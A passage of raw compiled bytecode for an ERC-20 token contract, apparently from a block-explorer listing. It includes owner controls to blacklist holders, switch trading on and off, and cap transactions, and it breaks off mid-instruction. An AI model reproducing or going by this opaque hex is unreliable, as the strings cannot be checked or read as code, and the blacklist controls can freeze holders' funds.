1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614f206022836141e8565b9150614f2b82614ec4565b604082019050919050565b60006020820190508181036000830152614f4f81614f13565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614fb26025836141e8565b9150614fbd82614f56565b604082019050919050565b60006020820190508181036000830152614fe181614fa5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150446023836141e8565b915061504f82614fe8565b604082019050919050565b6000602082019050818103600083015261507381615037565b9050919050565b7f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460008201527f72616e73666572696e6720746f6b656e73000000000000000000000000000000602082015250565b60006150d66031836141e8565b91506150e18261507a565b604082019050919050565b60006020820190508181036000830152615105816150c9565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006151426016836141e8565b915061514d8261510c565b602082019050919050565b6000602082019050818103600083015261517181615135565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006151fa6049836141e8565b915061520582615178565b606082019050919050565b60006020820190508181036000830152615229816151ed565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061528c6035836141e8565b915061529782615230565b604082019050919050565b600060208201905081810360008301526152bb8161527f565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006152f86013836141e8565b9150615303826152c2565b602082019050919050565b60006020820190508181036000830152615327816152eb565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061538a6036836141e8565b91506153958261532e565b604082019050919050565b600060208201905081810360008301526153b98161537d565b9050919050565b60006153cb826142fb565b91506153d6836142fb565b9250828210156153e9576153e8614791565b5b828203905092915050565b60008160011c9050919050565b6000808291508390505b600185111561544b5780860481111561542757615426614791565b5b60018516156154365780820291505b8081029050615444856153f4565b945061540b565b94509492505050565b6000826154645760019050615520565b816154725760009050615520565b81600181146154885760028114615492576154c1565b6001915050615520565b60ff8411156154a4576154a3614791565b5b8360020a9150848211156154bb576154ba614791565b5b50615520565b5060208310610133831016604e8410600b84101617156154f65782820a9050838111156154f1576154f0614791565b5b615520565b6155038484846001615401565b9250905081840481111561551a57615519614791565b5b81810290505b9392505050565b6000615532826142fb565b915061553d836144f8565b925061556a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484615454565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506155df816142cf565b92915050565b6000602082840312156155fb576155fa614298565b5b6000615609848285016155d0565b91505092915050565b6000819050919050565b600061563761563261562d84615612565b6143d4565b6142fb565b9050919050565b6156478161561c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615682816142bd565b82525050565b60006156948383615679565b60208301905092915050565b6000602082019050919050565b60006156b88261564d565b6156c28185615658565b93506156cd83615669565b8060005b838110156156fe5781516156e58882615688565b97506156f0836156a0565b9250506001810190506156d1565b5085935050505092915050565b600060a082019050615720600083018861444e565b61572d602083018761563e565b818103604083015261573f81866156ad565b905061574e606083018561452f565b61575b608083018461444e565b9695505050505050565b600060608201905061577a600083018661444e565b615787602083018561444e565b615794604083018461444e565b949350505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006157f86021836141e8565b91506158038261579c565b604082019050919050565b60006020820190508181036000830152615827816157eb565b9050919050565b600060c082019050615843600083018961452f565b615850602083018861444e565b61585d604083018761563e565b61586a606083018661563e565b615877608083018561452f565b61588460a083018461444e565b979650505050505050565b60008151905061589e81614305565b92915050565b6000806000606084860312156158bd576158bc614298565b5b60006158cb8682870161588f565b93505060206158dc8682870161588f565b92505060406158ed8682870161588f565b915050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209bbb75f9e354e4393764151194a9dcb119f93bb4d79b6ffd353b04390a3e91d764736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106103035760003560e01c8063924de9b711610190578063c17b5b8c116100dc578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610bbb578063f2fde38b14610be6578063f637434214610c0f578063f8b45b0514610c3a5761030a565b8063dd62ed3e14610b28578063e2f4560514610b65578063e884f26014610b905761030a565b8063c17b5b8c14610a18578063c18bc19514610a41578063c876d0b914610a6a578063c8c8ebe414610a95578063d257b34f14610ac0578063d85ba06314610afd5761030a565b8063a457c2d711610149578063aacebbe311610123578063aacebbe31461095e578063b62496f514610987578063bbc0c742146109c4578063c0246668146109ef5761030a565b8063a457c2d7146108b9578063a8b9f94d146108f6578063a9059cbb146109215761030a565b8063924de9b7146107bb57806395d89b41146107e45780639a7a23d61461080f5780639c3b4fdc146108385780639fccce3214610863578063a0d82dc51461088e5761030a565b80634a62bb651161024f578063715018a6116102085780638095d564116101e25780638095d56414610713578063823a782a1461073c5780638a8c523c146107795780638da5cb5b146107905761030a565b8063715018a6146106a8578063751039fc146106bf5780637571336a146106ea5761030a565b80634a62bb65146105825780634fbee193146105ad5780636a486a8e146105ea5780636b41ae0c146106155780636ddd17131461064057806370a082311461066b5761030a565b80631a8145bb116102bc57806323b872dd1161029657806323b872dd146104b2578063313ce567146104ef578063395093511461051a57806349bd5a5e146105575761030a565b80631a8145bb146104335780631f3fed8f1461045e578063203e727e146104895761030a565b806306fdde031461030f578063095ea7b31461033a57806310d5de53146103775780631694505e146103b457806318160ddd146103df5780631816467f1461040a5761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c65565b6040516103319190614276565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190614331565b610cf7565b60405161036e919061438c565b60405180910390f35b34801561038357600080fd5b5061039e600480360381019061039991906143a7565b610d15565b6040516103ab919061438c565b60405180910390f35b3480156103c057600080fd5b506103c9610d35565b6040516103d69190614433565b60405180910390f35b3480156103eb57600080fd5b506103f4610d59565b604051610401919061445d565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c91906143a7565b610d63565b005b34801561043f57600080fd5b50610448610eba565b604051610455919061445d565b60405180910390f35b34801561046a57600080fd5b50610473610ec0565b604051610480919061445d565b60405180910390f35b34801561049557600080fd5b506104b060048036038101906104ab9190614478565b610ec6565b005b3480156104be57600080fd5b506104d960048036038101906104d491906144a5565b610ff0565b6040516104e6919061438c565b60405180910390f35b3480156104fb57600080fd5b506105046110c9565b6040516105119190614514565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190614331565b6110d2565b60405161054e919061438c565b60405180910390f35b34801561056357600080fd5b5061056c611185565b604051610579919061453e565b60405180910390f35b34801561058e57600080fd5b506105976111a9565b6040516105a4919061438c565b60405180910390f35b3480156105b957600080fd5b506105d460048036038101906105cf91906143a7565b6111bc565b6040516105e1919061438c565b60405180910390f35b3480156105f657600080fd5b506105ff611212565b60405161060c919061445d565b60405180910390f35b34801561062157600080fd5b5061062a611218565b604051610637919061445d565b60405180910390f35b34801561064c57600080fd5b5061065561121e565b604051610662919061438c565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d91906143a7565b611231565b60405161069f919061445d565b60405180910390f35b3480156106b457600080fd5b506106bd611279565b005b3480156106cb57600080fd5b506106d46113d1565b6040516106e1919061438c565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190614585565b61148c565b005b34801561071f57600080fd5b5061073a600480360381019061073591906145c5565b61157e565b005b34801561074857600080fd5b50610763600480360381019061075e9190614618565b611698565b604051610770919061438c565b60405180910390f35b34801561078557600080fd5b5061078e611822565b005b34801561079c57600080fd5b506107a56118f8565b6040516107b2919061453e565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd9190614658565b611922565b005b3480156107f057600080fd5b506107f96119d6565b6040516108069190614276565b60405180910390f35b34801561081b57600080fd5b5061083660048036038101906108319190614585565b611a68565b005b34801561084457600080fd5b5061084d611b9b565b60405161085a919061445d565b60405180910390f35b34801561086f57600080fd5b50610878611ba1565b604051610885919061445d565b60405180910390f35b34801561089a57600080fd5b506108a3611ba7565b6040516108b0919061445d565b60405180910390f35b3480156108c557600080fd5b506108e060048036038101906108db9190614331565b611bad565b6040516108ed919061438c565b60405180910390f35b34801561090257600080fd5b5061090b611c7a565b604051610918919061445d565b60405180910390f35b34801561092d57600080fd5b5061094860048036038101906109439190614331565b611c80565b604051610955919061438c565b60405180910390f35b34801561096a57600080fd5b50610985600480360381019061098091906143a7565b611c9e565b005b34801561099357600080fd5b506109ae60048036038101906109a991906143a7565b611df5565b6040516109bb919061438c565b60405180910390f35b3480156109d057600080fd5b506109d9611e15565b6040516109e6919061438c565b60405180910390f35b3480156109fb57600080fd5b50610a166004803603810190610a119190614585565b611e28565b005b348015610a2457600080fd5b50610a3f6004803603810190610a3a91906145c5565b611f68565b005b348015610a4d57600080fd5b50610a686004803603810190610a639190614478565b612082565b005b348015610a7657600080fd5b50610a7f6121ac565b604051610a8c919061438c565b60405180910390f35b348015610aa157600080fd5b50610aaa6121bf565b604051610ab7919061445d565b60405180910390f35b348015610acc57600080fd5b50610ae76004803603810190610ae29190614478565b6121c5565b604051610af4919061438c565b60405180910390f35b348015610b0957600080fd5b50610b12612335565b604051610b1f919061445d565b60405180910390f35b348015610b3457600080fd5b50610b4f6004803603810190610b4a9190614685565b61233b565b604051610b5c919061445d565b60405180910390f35b348015610b7157600080fd5b50610b7a6123c2565b604051610b87919061445d565b60405180910390f35b348015610b9c57600080fd5b50610ba56123c8565b604051610bb2919061438c565b60405180910390f35b348015610bc757600080fd5b50610bd0612483565b604051610bdd919061445d565b60405180910390f35b348015610bf257600080fd5b50610c0d6004803603810190610c0891906143a7565b612489565b005b348015610c1b57600080fd5b50610c2461264f565b604051610c31919061445d565b60405180910390f35b348015610c4657600080fd5b50610c4f612655565b604051610c5c919061445d565b60405180910390f35b606060038054610c74906146f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906146f4565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d0b610d046126b9565b84846126c1565b6001905092915050565b601d6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610d6b6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df190614771565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f0db17895a9d092fb3ca24d626f2150dd80c185b0706b36f1040ee239f56cb87160405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60195481565b60185481565b610ece6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5490614771565b60405180910390fd5b670de0b6b3a76400006103e86001610f73610d59565b610f7d91906147c0565b610f879190614849565b610f919190614849565b811015610fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fca906148ec565b60405180910390fd5b670de0b6b3a764000081610fe791906147c0565b60088190555050565b6000610ffd84848461288a565b6110be846110096126b9565b6110b98560405180606001604052806028815260200161591e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061106f6126b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136059092919063ffffffff16565b6126c1565b600190509392505050565b60006012905090565b600061117b6110df6126b9565b8461117685600160006110f06126b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265b90919063ffffffff16565b6126c1565b6001905092915050565b7f00000000000000000000000095552f4ecb5dcfab4e14e8631aff1c398adf1d3f81565b600b60009054906101000a900460ff1681565b6000601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b60155481565b600b60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112816126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130790614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006113db6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190614771565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055506001905090565b6114946126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151a90614771565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115866126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160c90614771565b60405180910390fd5b82601181905550816012819055508060138190555060135460125460115461163d919061490c565b611647919061490c565b60108190555060056010541115611693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168a906149ae565b60405180910390fd5b505050565b6000601c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166116f057600080fd5b600061171b7f00000000000000000000000095552f4ecb5dcfab4e14e8631aff1c398adf1d3f611231565b905060018311801561173857506064816117359190614849565b83105b611777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176e90614a1a565b60405180910390fd5b61178083613669565b61178984613735565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516117d190614a6b565b60006040518083038185875af1925050503d806000811461180e576040519150601f19603f3d011682016040523d82523d6000602084013e611813565b606091505b50509050809250505092915050565b61182a6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b090614771565b60405180910390fd5b6001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff02191690831515021790555043601b81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61192a6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090614771565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b6060600480546119e5906146f4565b80601f0160208091040260200160405190810160405280929190818152602001828054611a11906146f4565b8015611a5e5780601f10611a3357610100808354040283529160200191611a5e565b820191906000526020600020905b815481529060010190602001808311611a4157829003601f168201915b5050505050905090565b611a706126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af690614771565b60405180910390fd5b7f00000000000000000000000095552f4ecb5dcfab4e14e8631aff1c398adf1d3f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8490614af2565b60405180910390fd5b611b978282613972565b5050565b60135481565b601a5481565b60175481565b6000611c70611bba6126b9565b84611c6b856040518060600160405280602581526020016159466025913960016000611be46126b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136059092919063ffffffff16565b6126c1565b6001905092915050565b60115481565b6000611c94611c8d6126b9565b848461288a565b6001905092915050565b611ca66126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90614771565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e6020528060005260406000206000915054906101000a900460ff1681565b600b60019054906101000a900460ff1681565b611e306126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ebf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb690614771565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f5c919061438c565b60405180910390a25050565b611f706126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff690614771565b60405180910390fd5b826015819055508160168190555080601781905550601754601654601554612027919061490c565b612031919061490c565b601481905550600a601454111561207d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207490614b5e565b60405180910390fd5b505050565b61208a6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211090614771565b60405180910390fd5b670de0b6b3a76400006103e8600161212f610d59565b61213991906147c0565b6121439190614849565b61214d9190614849565b81101561218f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218690614bf0565b60405180910390fd5b670de0b6b3a7640000816121a391906147c0565b600a8190555050565b600f60009054906101000a900460ff1681565b60085481565b60006121cf6126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461225e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225590614771565b60405180910390fd5b620186a0600161226c610d59565b61227691906147c0565b6122809190614849565b8210156122c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b990614c82565b60405180910390fd5b6103e860056122cf610d59565b6122d991906147c0565b6122e39190614849565b821115612325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231c90614d14565b60405180910390fd5b8160098190555060019050919050565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b60006123d26126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245890614771565b60405180910390fd5b6000600f60006101000a81548160ff0219169083151502179055506001905090565b60125481565b6124916126b9565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251790614771565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361258f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258690614da6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60165481565b600a5481565b600080828461266a919061490c565b9050838110156126af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a690614e12565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612730576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272790614ea4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361279f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279690614f36565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161287d919061445d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f090614fc8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295f9061505a565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a0c5750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a42906150ec565b60405180910390fd5b60008103612a6457612a5f83836000613a13565b613600565b600b60009054906101000a900460ff161561312857612a816118f8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612aef5750612abf6118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b285750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b62575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b7b5750600560149054906101000a900460ff16155b1561312757600b60019054906101000a900460ff16612c7557601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c355750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6b90615158565b60405180910390fd5b5b600f60009054906101000a900460ff1615612e3e57612c926118f8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1957507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d7157507f00000000000000000000000095552f4ecb5dcfab4e14e8631aff1c398adf1d3f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e3d5743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612def90615210565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ee15750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f8857600854811115612f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f22906152a2565b60405180910390fd5b600a54612f3783611231565b82612f42919061490c565b1115612f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7a9061530e565b60405180910390fd5b613126565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561302b5750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561307a57600854811115613075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306c906153a0565b60405180910390fd5b613125565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661312457600a546130d783611231565b826130e2919061490c565b1115613123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161311a9061530e565b60405180910390fd5b5b5b5b5b5b600061313330611231565b9050600060095482101590508080156131585750600b60029054906101000a900460ff165b80156131715750600560149054906101000a900460ff16155b80156131c75750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561321d5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132735750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156132b7576001600560146101000a81548160ff02191690831515021790555061329b613ca6565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061336d5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337757600090505b600081156135f057601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156133da57506000601454115b156134a75761340760646133f960145488613f8d90919063ffffffff16565b61400790919063ffffffff16565b90506014546016548261341a91906147c0565b6134249190614849565b60196000828254613435919061490c565b925050819055506014546017548261344d91906147c0565b6134579190614849565b601a6000828254613468919061490c565b925050819055506014546015548261348091906147c0565b61348a9190614849565b6018600082825461349b919061490c565b925050819055506135cc565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561350257506000601054115b156135cb5761352f606461352160105488613f8d90919063ffffffff16565b61400790919063ffffffff16565b90506010546012548261354291906147c0565b61354c9190614849565b6019600082825461355d919061490c565b925050819055506010546013548261357591906147c0565b61357f9190614849565b601a6000828254613590919061490c565b92505081905550601054601154826135a891906147c0565b6135b29190614849565b601860008282546135c3919061490c565b925050819055505b5b60008111156135e1576135e0873083613a13565b5b80856135ed91906153c0565b94505b6135fb878787613a13565b505050505b505050565b600083831115829061364d576040517f08c379a000000000000000000000000000000000000000000000000000000000815